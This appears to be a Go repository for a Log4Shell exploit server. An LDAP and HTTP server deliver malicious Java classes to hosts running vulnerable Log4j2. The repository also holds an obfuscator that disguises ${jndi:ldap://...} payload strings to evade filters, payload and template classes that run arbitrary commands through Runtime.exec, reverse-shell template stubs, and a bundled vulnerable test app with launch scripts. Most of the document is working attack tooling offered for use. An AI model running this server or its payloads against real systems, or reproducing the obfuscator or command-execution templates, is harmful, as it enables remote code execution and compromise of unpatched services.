ldapserver.NewSearchResultDoneResponse(ldapserver.LDAPResultNoSuchObject) 113 | w.Write(done) 114 | } 115 | -------------------------------------------------------------------------------- /ldap_test.go: -------------------------------------------------------------------------------- 1 | package log4shell 2 | -------------------------------------------------------------------------------- /log4shell.go: -------------------------------------------------------------------------------- 1 | package log4shell 2 | 3 | import ( 4 | "crypto/tls" 5 | "fmt" 6 | "io" 7 | "log" 8 | "net" 9 | "net/http" 10 | "os" 11 | "sync" 12 | "time" 13 | 14 | "github.com/For-ACGN/ldapserver" 15 | "github.com/pkg/errors" 16 | ) 17 | 18 | // Config contains configurations about log4shell server. 19 | type Config struct { 20 | // Logger is used to set server logger writer. 21 | Logger io.Writer 22 | 23 | // Hostname can be set IP address or domain name, 24 | // If enable AutoCert, must set domain name. 25 | Hostname string 26 | 27 | // PayloadDir contains Java class files. 28 | PayloadDir string 29 | 30 | // about servers network and address. 31 | HTTPNetwork string 32 | HTTPAddress string 33 | LDAPNetwork string 34 | LDAPAddress string 35 | 36 | // AutoCert is used to ACME client to sign 37 | // certificate automatically, don't need to 38 | // set EnableTLS true again. 39 | AutoCert bool 40 | 41 | // EnableTLS is used to enable ldaps and 42 | // https server, must set TLS certificate. 43 | EnableTLS bool 44 | 45 | // TLSCert is used to for ldaps and https. 46 | TLSCert tls.Certificate 47 | } 48 | 49 | // Server is used to create an exploit server that contain 50 | // a http server and ldap server(can wrap tls), it used to 51 | // check and exploit Apache Log4j2 vulnerability easily. 52 | type Server struct { 53 | logger *log.Logger 54 | hostname string 55 | enableTLS bool 56 | 57 | secret string 58 | 59 | httpListener net.Listener 60 | httpHandler *httpHandler 61 | httpServer *http.Server 62 | 63 | ldapListener net.Listener 64 | ldapHandler *ldapHandler 65 | ldapServer *ldapserver.Server 66 | 67 | mu sync.Mutex 68 | wg sync.WaitGroup 69 | } 70 | 71 | // New is used to create a new log4shell server. 72 | func New(cfg *Config) (*Server, error) { 73 | // check configuration 74 | if cfg.Logger == nil { 75 | panic("log4shell: Config.Logger can not be nil") 76 | } 77 | if cfg.Hostname == "" { 78 | return nil, errors.New("empty host name") 79 | } 80 | fi, err := os.Stat(cfg.PayloadDir) 81 | if err != nil { 82 | return nil, errors.WithStack(err) 83 | } 84 | if !fi.IsDir() { 85 | return nil, errors.Errorf("\"%s\" is not a directory", cfg.PayloadDir) 86 | } 87 | 88 | // set server logger 89 | logger := log.New(cfg.Logger, "", log.LstdFlags) 90 | ldapserver.Logger = logger 91 | 92 | // initial tls config 93 | var tlsConfig *tls.Config 94 | enableTLS := cfg.EnableTLS 95 | if cfg.AutoCert { 96 | // hostname must be a domain name 97 | cert, err := autoSignCert(cfg.Hostname) 98 | if err != nil { 99 | return nil, err 100 | } 101 | tlsConfig = &tls.Config{ 102 | Certificates: []tls.Certificate{*cert}, 103 | } // #nosec 104 | enableTLS = true 105 | } else if enableTLS { 106 | tlsConfig = &tls.Config{ 107 | Certificates: []tls.Certificate{cfg.TLSCert}, 108 | } // #nosec 109 | } 110 | 111 | // generate random string and add it to the http handler 112 | // for prevent some http spider or exploit server scanner 113 | secret := randSecret() 114 | 115 | // initialize http server 116 | httpListener, err := net.Listen(cfg.HTTPNetwork, cfg.HTTPAddress) 117 | if err != nil { 118 | return nil, errors.Wrap(err, "failed to create http listener") 119 | } 120 | httpHandler := httpHandler{ 121 | logger: logger, 122 | payloadDir: cfg.PayloadDir, 123 | secret: secret, 124 | } 125 | httpServer := http.Server{ 126 | Handler: &httpHandler, 127 | TLSConfig: tlsConfig, 128 | ReadTimeout: time.Minute, 129 | WriteTimeout: time.Minute, 130 | IdleTimeout: time.Minute, 131 | ErrorLog: logger, 132 | } 133 | 134 | // initialize ldap server 135 | ldapListener, err := net.Listen(cfg.LDAPNetwork, cfg.LDAPAddress) 136 | if err != nil { 137 | return nil, errors.Wrap(err, "failed to create ldap listener") 138 | } 139 | var scheme string 140 | if enableTLS { 141 | scheme = "https" 142 | } else { 143 | scheme = "http" 144 | } 145 | _, port, err := net.SplitHostPort(httpListener.Addr().String()) 146 | if err != nil { 147 | return nil, errors.WithStack(err) 148 | } 149 | addr := net.JoinHostPort(cfg.Hostname, port) 150 | codeBase := fmt.Sprintf("%s://%s/%s/", scheme, addr, secret) 151 | ldapHandler := ldapHandler{ 152 | logger: logger, 153 | payloadDir: cfg.PayloadDir, 154 | codeBase: codeBase, 155 | tokens: make(map[string]int64, 16), 156 | } 157 | ldapRoute := ldapserver.NewRouteMux() 158 | ldapRoute.Bind(ldapHandler.handleBind) 159 | ldapRoute.Search(ldapHandler.handleSearch) 160 | ldapServer := ldapserver.NewServer() 161 | ldapServer.Handle(ldapRoute) 162 | ldapServer.TLSConfig = tlsConfig 163 | ldapServer.ReadTimeout = time.Minute 164 | ldapServer.WriteTimeout = time.Minute 165 | 166 | // create log4shell server 167 | server := Server{ 168 | logger: logger, 169 | hostname: cfg.Hostname, 170 | enableTLS: enableTLS, 171 | secret: secret, 172 | httpListener: httpListener, 173 | httpHandler: &httpHandler, 174 | httpServer: &httpServer, 175 | ldapListener: ldapListener, 176 | ldapHandler: &ldapHandler, 177 | ldapServer: ldapServer, 178 | } 179 | return &server, nil 180 | } 181 | 182 | // Start is used to start log4shell server. 183 | func (srv *Server) Start() error { 184 | srv.mu.Lock() 185 | defer srv.mu.Unlock() 186 | 187 | errCh := make(chan error, 2) 188 | 189 | // start http server 190 | srv.wg.Add(1) 191 | go func() { 192 | defer srv.wg.Done() 193 | var err error 194 | if srv.enableTLS { 195 | err = srv.httpServer.ServeTLS(srv.httpListener, "", "") 196 | } else { 197 | err = srv.httpServer.Serve(srv.httpListener) 198 | } 199 | errCh <- err 200 | }() 201 | 202 | // start ldap server 203 | srv.wg.Add(1) 204 | go func() { 205 | defer srv.wg.Done() 206 | var err error 207 | if srv.enableTLS { 208 | err = srv.ldapServer.ServeTLS(srv.ldapListener) 209 | } else { 210 | err = srv.ldapServer.Serve(srv.ldapListener) 211 | } 212 | errCh <- err 213 | }() 214 | 215 | select { 216 | case err := <-errCh: 217 | return err 218 | case <-time.After(250 * time.Millisecond): 219 | } 220 | 221 | srv.logger.Println("[info]", "current hostname:", srv.hostname) 222 | srv.logger.Println("[info]", "secret about http handler:", srv.secret) 223 | if srv.enableTLS { 224 | srv.logger.Println("[info]", "start https server", srv.httpListener.Addr()) 225 | srv.logger.Println("[info]", "start ldaps server", srv.ldapListener.Addr()) 226 | } else { 227 | srv.logger.Println("[info]", "start http server", srv.httpListener.Addr()) 228 | srv.logger.Println("[info]", "start ldap server", srv.ldapListener.Addr()) 229 | } 230 | srv.logger.Println("[info]", "start log4shell server successfully") 231 | return nil 232 | } 233 | 234 | // Stop is used to stop log4shell server. 235 | func (srv *Server) Stop() error { 236 | srv.mu.Lock() 237 | defer srv.mu.Unlock() 238 | 239 | // close ldap server 240 | srv.ldapServer.Stop() 241 | if srv.enableTLS { 242 | srv.logger.Println("[info]", "ldaps server is stopped") 243 | } else { 244 | srv.logger.Println("[info]", "ldap server is stopped") 245 | } 246 | 247 | // close http server 248 | err := srv.httpServer.Close() 249 | if err != nil { 250 | return errors.Wrap(err, "failed to close http server") 251 | } 252 | if srv.enableTLS { 253 | srv.logger.Println("[info]", "https server is stopped") 254 | } else { 255 | srv.logger.Println("[info]", "http server is stopped") 256 | } 257 | 258 | srv.wg.Wait() 259 | srv.logger.Println("[info]", "log4shell server is stopped") 260 | return nil 261 | } 262 | 263 | // Secret is used to get the generated secret about url. 264 | func (srv *Server) Secret() string { 265 | return srv.secret 266 | } 267 | 268 | // IsEnableTLS is used to get the log4shell server is enabled TLS. 269 | func (srv *Server) IsEnableTLS() bool { 270 | return srv.enableTLS 271 | } 272 | 273 | // HTTPAddress is used to get the http listener address. 274 | func (srv *Server) HTTPAddress() string { 275 | return srv.httpListener.Addr().String() 276 | } 277 | 278 | // LDAPAddress is used to get the ldap listener address. 279 | func (srv *Server) LDAPAddress() string { 280 | return srv.ldapListener.Addr().String() 281 | } 282 | -------------------------------------------------------------------------------- /log4shell_test.go: -------------------------------------------------------------------------------- 1 | package log4shell 2 | 3 | import ( 4 | "crypto/rand" 5 | "crypto/rsa" 6 | "crypto/tls" 7 | "crypto/x509" 8 | "encoding/pem" 9 | "math/big" 10 | "net" 11 | "os" 12 | "testing" 13 | "time" 14 | 15 | "github.com/stretchr/testify/require" 16 | ) 17 | 18 | func testGenerateConfig() *Config { 19 | return &Config{ 20 | Logger: os.Stdout, 21 | Hostname: "127.0.0.1", 22 | PayloadDir: "testdata/payload", 23 | HTTPNetwork: "tcp", 24 | HTTPAddress: "127.0.0.1:8088", 25 | LDAPNetwork: "tcp", 26 | LDAPAddress: "127.0.0.1:3890", 27 | } 28 | } 29 | 30 | func TestLog4Shell(t *testing.T) { 31 | server, err := New(testGenerateConfig()) 32 | require.NoError(t, err) 33 | 34 | err = server.Start() 35 | require.NoError(t, err) 36 | 37 | // select {} 38 | 39 | err = server.Stop() 40 | require.NoError(t, err) 41 | } 42 | 43 | func TestLog4Shell_TLS(t *testing.T) { 44 | _, cert, pri := testGenerateCert(t, "127.0.0.1") 45 | crt, err := tls.X509KeyPair(cert, pri) 46 | require.NoError(t, err) 47 | 48 | cfg := testGenerateConfig() 49 | cfg.EnableTLS = true 50 | cfg.TLSCert = crt 51 | 52 | server, err := New(cfg) 53 | require.NoError(t, err) 54 | 55 | err = server.Start() 56 | require.NoError(t, err) 57 | 58 | // select {} 59 | 60 | err = server.Stop() 61 | require.NoError(t, err) 62 | } 63 | 64 | // TLSCertificate is used to generate CA ASN1 data, signed certificate. 65 | func testGenerateCert(t testing.TB, ipv4 string) (caASN1 []byte, cPEMBlock, cPriPEMBlock []byte) { 66 | // generate CA certificate 67 | caCert := &x509.Certificate{ 68 | SerialNumber: big.NewInt(12345678), 69 | SubjectKeyId: []byte{1, 2, 3, 4}, 70 | NotBefore: time.Now().AddDate(0, 0, -1), 71 | NotAfter: time.Now().AddDate(0, 0, 1), 72 | } 73 | caCert.Subject.CommonName = "test CA" 74 | caCert.KeyUsage = x509.KeyUsageCertSign 75 | caCert.BasicConstraintsValid = true 76 | caCert.IsCA = true 77 | caPri, err := rsa.GenerateKey(rand.Reader, 2048) 78 | require.NoError(t, err) 79 | caPub := &caPri.PublicKey 80 | caASN1, err = x509.CreateCertificate(rand.Reader, caCert, caCert, caPub, caPri) 81 | require.NoError(t, err) 82 | caCert, err = x509.ParseCertificate(caASN1) 83 | require.NoError(t, err) 84 | 85 | // sign certificate 86 | cert := &x509.Certificate{ 87 | SerialNumber: big.NewInt(4862131), 88 | SubjectKeyId: []byte{4, 2, 3, 4}, 89 | NotBefore: time.Now().AddDate(0, 0, -1), 90 | NotAfter: time.Now().AddDate(0, 0, 1), 91 | } 92 | cert.Subject.CommonName = "test certificate" 93 | cert.KeyUsage = x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment 94 | cert.DNSNames = []string{"localhost"} 95 | cert.IPAddresses = []net.IP{net.ParseIP(ipv4), net.ParseIP("::1")} 96 | cPri, err := rsa.GenerateKey(rand.Reader, 2048) 97 | require.NoError(t, err) 98 | cPub := &cPri.PublicKey 99 | cASN1, err := x509.CreateCertificate(rand.Reader, cert, caCert, cPub, caPri) 100 | require.NoError(t, err) 101 | 102 | // encode with pem 103 | cPEMBlock = pem.EncodeToMemory(&pem.Block{ 104 | Type: "CERTIFICATE", 105 | Bytes: cASN1, 106 | }) 107 | cPriPEMBlock = pem.EncodeToMemory(&pem.Block{ 108 | Type: "PRIVATE KEY", 109 | Bytes: x509.MarshalPKCS1PrivateKey(cPri), 110 | }) 111 | return 112 | } 113 | -------------------------------------------------------------------------------- /obfuscate.go: -------------------------------------------------------------------------------- 1 | package log4shell 2 | 3 | import ( 4 | "fmt" 5 | "math/rand" 6 | "strings" 7 | ) 8 | 9 | // raw: ${jndi:ldap://127.0.0.1:3890/Calc} 10 | // 11 | // obfuscate rule: 12 | // 1. ${xxx-xxx:any-code:-bc} => bc 13 | 14 | // skippedChars contain skip character, if Obfuscate 15 | // select section contains these characters, they will 16 | // not be obfuscated. 17 | var skippedChars = map[byte]struct{}{ 18 | '$': {}, 19 | '{': {}, 20 | '}': {}, 21 | } 22 | 23 | // Obfuscate is used to obfuscate malicious(payload) string 24 | // like ${jndi:ldap://127.0.0.1:3890/Calc} for log4j2 package. 25 | // Return value are obfuscated string and raw with token. 26 | func Obfuscate(raw string, token bool) (string, string) { 27 | l := len(raw) 28 | if l == 0 { 29 | return "", "" 30 | } 31 | 32 | // add token to the end of class name 33 | var rwt string // raw with token 34 | if token { 35 | // ${jndi:ldap://127.0.0.1:3890/Calc$token} 36 | front := raw[:len(raw)-1] 37 | token := randString(16) 38 | last := string(raw[len(raw)-1]) 39 | raw = fmt.Sprintf("%s$%s%s", front, token, last) 40 | 41 | rwt = raw 42 | l = len(raw) 43 | } 44 | 45 | obfuscated := strings.Builder{} 46 | 47 | remaining := l 48 | index := 0 49 | 50 | // prevent generate string like "$${a:Ya]vF:QHL-n[ub8:-}{" 51 | // it will make behind string useless 52 | lastCharacter := byte(0) 53 | 54 | // prevent not obfuscate twice, otherwise maybe 55 | // generate string like 1."jn" 2."di" -> "jndi" 56 | lastObfuscated := true 57 | 58 | for { 59 | if remaining <= 0 { 60 | break 61 | } 62 | 63 | // first select section length 64 | // use 0-3 is used to prevent include special 65 | // string like "jndi", "ldap" and "http" 66 | size := rand.Intn(4) // #nosec 67 | if size > remaining { 68 | size = remaining 69 | } 70 | section := raw[index : index+size] 71 | 72 | // if section contain special character 73 | // not obfuscate them 74 | var notObfuscate bool 75 | for i := 0; i < len(section); i++ { 76 | _, ok := skippedChars[section[i]] 77 | if ok { 78 | notObfuscate = true 79 | break 80 | } 81 | } 82 | 83 | // must check last character is "$" 84 | // for prevent appear string like "$${" 85 | if lastCharacter == '$' { 86 | notObfuscate = true 87 | } 88 | 89 | // obfuscate or not 90 | if notObfuscate || (randBool() && lastObfuscated) { 91 | if size == 0 { 92 | continue 93 | } 94 | obfuscated.WriteString(section) 95 | 96 | remaining -= size 97 | index += size 98 | lastObfuscated = false 99 | lastCharacter = section[size-1] 100 | continue 101 | } 102 | 103 | // generate useless data before section 104 | obfuscated.WriteString("${") 105 | round := 1 + rand.Intn(3) // 1-3 // #nosec 106 | for i := 0; i < round; i++ { 107 | front := randString(2 + rand.Intn(5)) // #nosec 108 | end := randString(2 + rand.Intn(5)) // #nosec 109 | 110 | obfuscated.WriteString(front) 111 | if randBool() { 112 | obfuscated.WriteString(":") 113 | } else { 114 | obfuscated.WriteString("-") 115 | } 116 | obfuscated.WriteString(end) 117 | } 118 | obfuscated.WriteString(":-") 119 | obfuscated.WriteString(section) 120 | obfuscated.WriteString("}") 121 | 122 | remaining -= size 123 | index += size 124 | lastObfuscated = true 125 | lastCharacter = '}' // lastCharacter must be "}" 126 | } 127 | 128 | return obfuscated.String(), rwt 129 | } 130 | 131 | // ObfuscateWithDollar will obfuscate malicious(payload) string, and 132 | // add a dollar symbol before one string like "${xxx-xxx:-section}". 133 | // When add one Dollar, repeat execute will not appear and the logger 134 | // will not print the whole obfuscated string, just a little, but I 135 | // don't know why this happened, It may cause unexpected situations, 136 | // so it is disabled by default. 137 | func ObfuscateWithDollar(raw string, token bool) (string, string) { 138 | obfuscated, rwt := Obfuscate(raw, token) 139 | if strings.Count(obfuscated, "${") < 2 || !strings.Contains(rwt, "$") { 140 | return obfuscated, rwt 141 | } 142 | // add one "$" to before the last "${" 143 | idx := strings.LastIndex(obfuscated, "${") 144 | obfuscated = obfuscated[:idx] + "$" + obfuscated[idx:] 145 | return obfuscated, rwt 146 | } 147 | -------------------------------------------------------------------------------- /obfuscate_test.go: -------------------------------------------------------------------------------- 1 | package log4shell 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | "testing" 7 | 8 | "github.com/stretchr/testify/require" 9 | ) 10 | 11 | func TestObfuscate(t *testing.T) { 12 | t.Run("common", func(t *testing.T) { 13 | for _, testdata := range [...]string{ 14 | "${jndi:ldap://127.0.0.1:3890/Calc}", 15 | "${jndi:ldap://127.0.0.1:3890/Notepad}", 16 | "${jndi:ldap://127.0.0.1:3890/Nop}", 17 | "test", 18 | } { 19 | t.Run("with token", func(t *testing.T) { 20 | obfuscated, rwt := Obfuscate(testdata, true) 21 | fmt.Println(testdata) 22 | fmt.Println(rwt) 23 | fmt.Println(obfuscated) 24 | fmt.Println() 25 | 26 | // check exist bug "$" with "${" 27 | require.NotContains(t, obfuscated, "$${") 28 | }) 29 | 30 | t.Run("without token", func(t *testing.T) { 31 | obfuscated, rwt := Obfuscate(testdata, false) 32 | fmt.Println(testdata) 33 | require.Zero(t, rwt) 34 | fmt.Println(obfuscated) 35 | fmt.Println() 36 | 37 | // check exist bug "$" with "${" 38 | require.NotContains(t, obfuscated, "$${") 39 | }) 40 | } 41 | }) 42 | 43 | t.Run("empty raw string", func(t *testing.T) { 44 | t.Run("with token", func(t *testing.T) { 45 | obfuscated, rwt := Obfuscate("", true) 46 | require.Zero(t, rwt) 47 | require.Zero(t, obfuscated) 48 | }) 49 | 50 | t.Run("without token", func(t *testing.T) { 51 | obfuscated, rwt := Obfuscate("", false) 52 | require.Zero(t, rwt) 53 | require.Zero(t, obfuscated) 54 | }) 55 | }) 56 | 57 | t.Run("fuzz", func(t *testing.T) { 58 | t.Run("with token", func(t *testing.T) { 59 | for i := 0; i < 10000; i++ { 60 | raw := "${" + randString(64) + "}" 61 | obfuscated, rwt := Obfuscate(raw, true) 62 | require.NotZero(t, rwt) 63 | require.NotZero(t, obfuscated) 64 | 65 | // check exist bug "$" with "${" 66 | require.NotContains(t, obfuscated, "$${") 67 | require.NotContains(t, obfuscated, " ") 68 | } 69 | }) 70 | 71 | t.Run("without token", func(t *testing.T) { 72 | for i := 0; i < 10000; i++ { 73 | raw := "${" + randString(64) + "}" 74 | obfuscated, rwt := Obfuscate(raw, false) 75 | require.Zero(t, rwt) 76 | require.NotZero(t, obfuscated) 77 | 78 | // check exist bug "$" with "${" 79 | require.NotContains(t, obfuscated, "$${") 80 | require.NotContains(t, obfuscated, " ") 81 | } 82 | }) 83 | }) 84 | } 85 | 86 | func TestObfuscateWithDollar(t *testing.T) { 87 | t.Run("common", func(t *testing.T) { 88 | for _, testdata := range [...]string{ 89 | "${jndi:ldap://127.0.0.1:3890/Calc}", 90 | "${jndi:ldap://127.0.0.1:3890/Notepad}", 91 | "${jndi:ldap://127.0.0.1:3890/Nop}", 92 | "test", 93 | } { 94 | t.Run("with token", func(t *testing.T) { 95 | obfuscated, rwt := ObfuscateWithDollar(testdata, true) 96 | fmt.Println(testdata) 97 | fmt.Println(rwt) 98 | fmt.Println(obfuscated) 99 | fmt.Println() 100 | 101 | require.Equal(t, 1, strings.Count(obfuscated, "$${")) 102 | }) 103 | 104 | t.Run("without token", func(t *testing.T) { 105 | obfuscated, rwt := ObfuscateWithDollar(testdata, false) 106 | fmt.Println(testdata) 107 | require.Zero(t, rwt) 108 | fmt.Println(obfuscated) 109 | fmt.Println() 110 | 111 | require.NotContains(t, obfuscated, "$${") 112 | }) 113 | } 114 | }) 115 | 116 | t.Run("empty raw string", func(t *testing.T) { 117 | t.Run("with token", func(t *testing.T) { 118 | obfuscated, rwt := ObfuscateWithDollar("", true) 119 | require.Zero(t, rwt) 120 | require.Zero(t, obfuscated) 121 | }) 122 | 123 | t.Run("without token", func(t *testing.T) { 124 | obfuscated, rwt := ObfuscateWithDollar("", false) 125 | require.Zero(t, rwt) 126 | require.Zero(t, obfuscated) 127 | }) 128 | }) 129 | 130 | t.Run("fuzz", func(t *testing.T) { 131 | t.Run("with token", func(t *testing.T) { 132 | for i := 0; i < 10000; i++ { 133 | raw := "${" + randString(64) + "}" 134 | obfuscated, rwt := ObfuscateWithDollar(raw, true) 135 | require.NotZero(t, rwt) 136 | require.NotZero(t, obfuscated) 137 | 138 | require.Equal(t, 1, strings.Count(obfuscated, "$${")) 139 | require.NotContains(t, obfuscated, " ") 140 | } 141 | }) 142 | 143 | t.Run("without token", func(t *testing.T) { 144 | for i := 0; i < 10000; i++ { 145 | raw := "${" + randString(64) + "}" 146 | obfuscated, rwt := ObfuscateWithDollar(raw, false) 147 | require.Zero(t, rwt) 148 | require.NotZero(t, obfuscated) 149 | 150 | require.NotContains(t, obfuscated, "$${") 151 | require.NotContains(t, obfuscated, " ") 152 | } 153 | }) 154 | }) 155 | } 156 | -------------------------------------------------------------------------------- /payload/Calc.java: -------------------------------------------------------------------------------- 1 | public class Calc { 2 | static { 3 | try { 4 | Runtime.getRuntime().exec("calc"); 5 | } catch (Exception e) { 6 | 7 | } 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /payload/Nop.java: -------------------------------------------------------------------------------- 1 | public class Nop { 2 | static { 3 | try { 4 | // Runtime.getRuntime().exec("notepad"); 5 | } catch (Exception e) { 6 | 7 | } 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /payload/Notepad.java: -------------------------------------------------------------------------------- 1 | public class Notepad { 2 | static { 3 | try { 4 | Runtime.getRuntime().exec("notepad"); 5 | } catch (Exception e) { 6 | 7 | } 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /rand.go: -------------------------------------------------------------------------------- 1 | package log4shell 2 | 3 | import ( 4 | "math/rand" 5 | "time" 6 | ) 7 | 8 | func init() { 9 | rand.Seed(time.Now().UnixNano()) 10 | } 11 | 12 | func randBool() bool { 13 | return rand.Int63()%2 == 0 // #nosec 14 | } 15 | 16 | func randString(n int) string { 17 | str := make([]rune, n) 18 | for i := 0; i < n; i++ { 19 | s := ' ' + 1 + rand.Intn(90) // #nosec 20 | switch { 21 | case s >= '0' && s <= '9': 22 | case s >= 'A' && s <= 'Z': 23 | case s >= 'a' && s <= 'z': 24 | case isValidSymbol(s): 25 | default: 26 | i-- 27 | continue 28 | } 29 | str[i] = rune(s) 30 | } 31 | return string(str) 32 | } 33 | 34 | func isValidSymbol(s int) bool { 35 | switch s { 36 | case '(', ')': 37 | case '*', '.': 38 | case '$', '_': 39 | case '[', ']': 40 | case '@', '=': 41 | default: 42 | return false 43 | } 44 | return true 45 | } 46 | 47 | func randSecret() string { 48 | const n = 8 49 | 50 | str := make([]rune, n) 51 | for i := 0; i < n; i++ { 52 | s := ' ' + 1 + rand.Intn(90) // #nosec 53 | switch { 54 | case s >= '0' && s <= '9': 55 | case s >= 'A' && s <= 'Z': 56 | case s >= 'a' && s <= 'z': 57 | default: 58 | i-- 59 | continue 60 | } 61 | str[i] = rune(s) 62 | } 63 | return string(str) 64 | } 65 | -------------------------------------------------------------------------------- /rand_test.go: -------------------------------------------------------------------------------- 1 | package log4shell 2 | 3 | import ( 4 | "strings" 5 | "testing" 6 | 7 | "github.com/stretchr/testify/require" 8 | ) 9 | 10 | func TestRandString(t *testing.T) { 11 | for i := 0; i < 10000; i++ { 12 | str := randString(64) 13 | require.False(t, strings.Contains(str, " ")) 14 | } 15 | } 16 | 17 | func TestRandSecret(t *testing.T) { 18 | for i := 0; i < 10000; i++ { 19 | str := randSecret() 20 | require.False(t, strings.Contains(str, " ")) 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/screenshot.png -------------------------------------------------------------------------------- /template/Execute.java: -------------------------------------------------------------------------------- 1 | public class Execute { 2 | static { 3 | try { 4 | Runtime.getRuntime().exec("${cmd}"); 5 | } catch (Exception e) { 6 | 7 | } 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /template/ReverseHTTPS.java: -------------------------------------------------------------------------------- 1 | will open source after some time -------------------------------------------------------------------------------- /template/ReverseTCP.java: -------------------------------------------------------------------------------- 1 | will open source after some time -------------------------------------------------------------------------------- /template/System.java: -------------------------------------------------------------------------------- 1 | import java.io.*; 2 | 3 | public class System { 4 | static { 5 | try { 6 | String[] command = {"${bin}", "${args}"}; 7 | Process process = Runtime.getRuntime().exec(command); 8 | String line; 9 | 10 | InputStream inputStream = process.getInputStream(); 11 | BufferedReader br = new BufferedReader(new InputStreamReader(inputStream)); 12 | while((line = br.readLine()) != null){ 13 | java.lang.System.out.println(line); 14 | } 15 | } catch (Exception e) { 16 | 17 | } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /testdata/payload/Calc.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/testdata/payload/Calc.class -------------------------------------------------------------------------------- /testdata/payload/Nop.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/testdata/payload/Nop.class -------------------------------------------------------------------------------- /testdata/payload/Notepad.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/testdata/payload/Notepad.class -------------------------------------------------------------------------------- /testdata/template/Execute.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/testdata/template/Execute.class -------------------------------------------------------------------------------- /testdata/template/ReverseHTTPS.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/testdata/template/ReverseHTTPS.class -------------------------------------------------------------------------------- /testdata/template/ReverseTCP.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/testdata/template/ReverseTCP.class -------------------------------------------------------------------------------- /testdata/template/System.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/testdata/template/System.class -------------------------------------------------------------------------------- /testdata/template/compare/Calc.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/testdata/template/compare/Calc.class -------------------------------------------------------------------------------- /testdata/template/compare/NetUser.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/testdata/template/compare/NetUser.class -------------------------------------------------------------------------------- /testdata/template/compare/Notepad.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/testdata/template/compare/Notepad.class -------------------------------------------------------------------------------- /testdata/template/compare/ReHTTPS.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/testdata/template/compare/ReHTTPS.class -------------------------------------------------------------------------------- /testdata/template/compare/ReTCP.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/testdata/template/compare/ReTCP.class -------------------------------------------------------------------------------- /vulapp/jar/calc.bat: -------------------------------------------------------------------------------- 1 | D:\Java\jdk1.8.0_121\bin\java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890/Calc} -------------------------------------------------------------------------------- /vulapp/jar/nop.bat: -------------------------------------------------------------------------------- 1 | D:\Java\jdk1.8.0_121\bin\java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890/Nop} -------------------------------------------------------------------------------- /vulapp/jar/notepad.bat: -------------------------------------------------------------------------------- 1 | D:\Java\jdk1.8.0_121\bin\java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890/Notepad} -------------------------------------------------------------------------------- /vulapp/jar/vulapp.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/vulapp/jar/vulapp.jar -------------------------------------------------------------------------------- /vulapp/src/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | log4j2 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | 15 | 16 | 17 | 18 | 19 | org.apache.logging.log4j 20 | log4j-core 21 | 2.14.1 22 | 23 | 24 | 25 | org.apache.logging.log4j 26 | log4j-api 27 | 2.14.1 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /vulapp/src/src/main/java/log4j.java: -------------------------------------------------------------------------------- 1 | import org.apache.logging.log4j.LogManager; 2 | import org.apache.logging.log4j.Logger; 3 | 4 | public class log4j { 5 | private static final Logger logger = LogManager.getLogger(log4j.class); 6 | 7 | public static void main(String[] args) throws InterruptedException { 8 | if (args.length == 0) { 9 | logger.error("${jndi:ldap://127.0.0.1:3890/Calc}"); 10 | return; 11 | } 12 | System.out.println(args[0]); 13 | logger.error(args[0]); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /vulapp/src/src/main/resources/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: log4j 3 | 4 | -------------------------------------------------------------------------------- /vulapp/src/target/classes/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: log4j 3 | 4 | -------------------------------------------------------------------------------- /vulapp/src/target/classes/log4j.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/For-ACGN/Log4Shell/f78e8051b5b0fb1d1dbd046b17dcb04c0434031a/vulapp/src/target/classes/log4j.class --------------------------------------------------------------------------------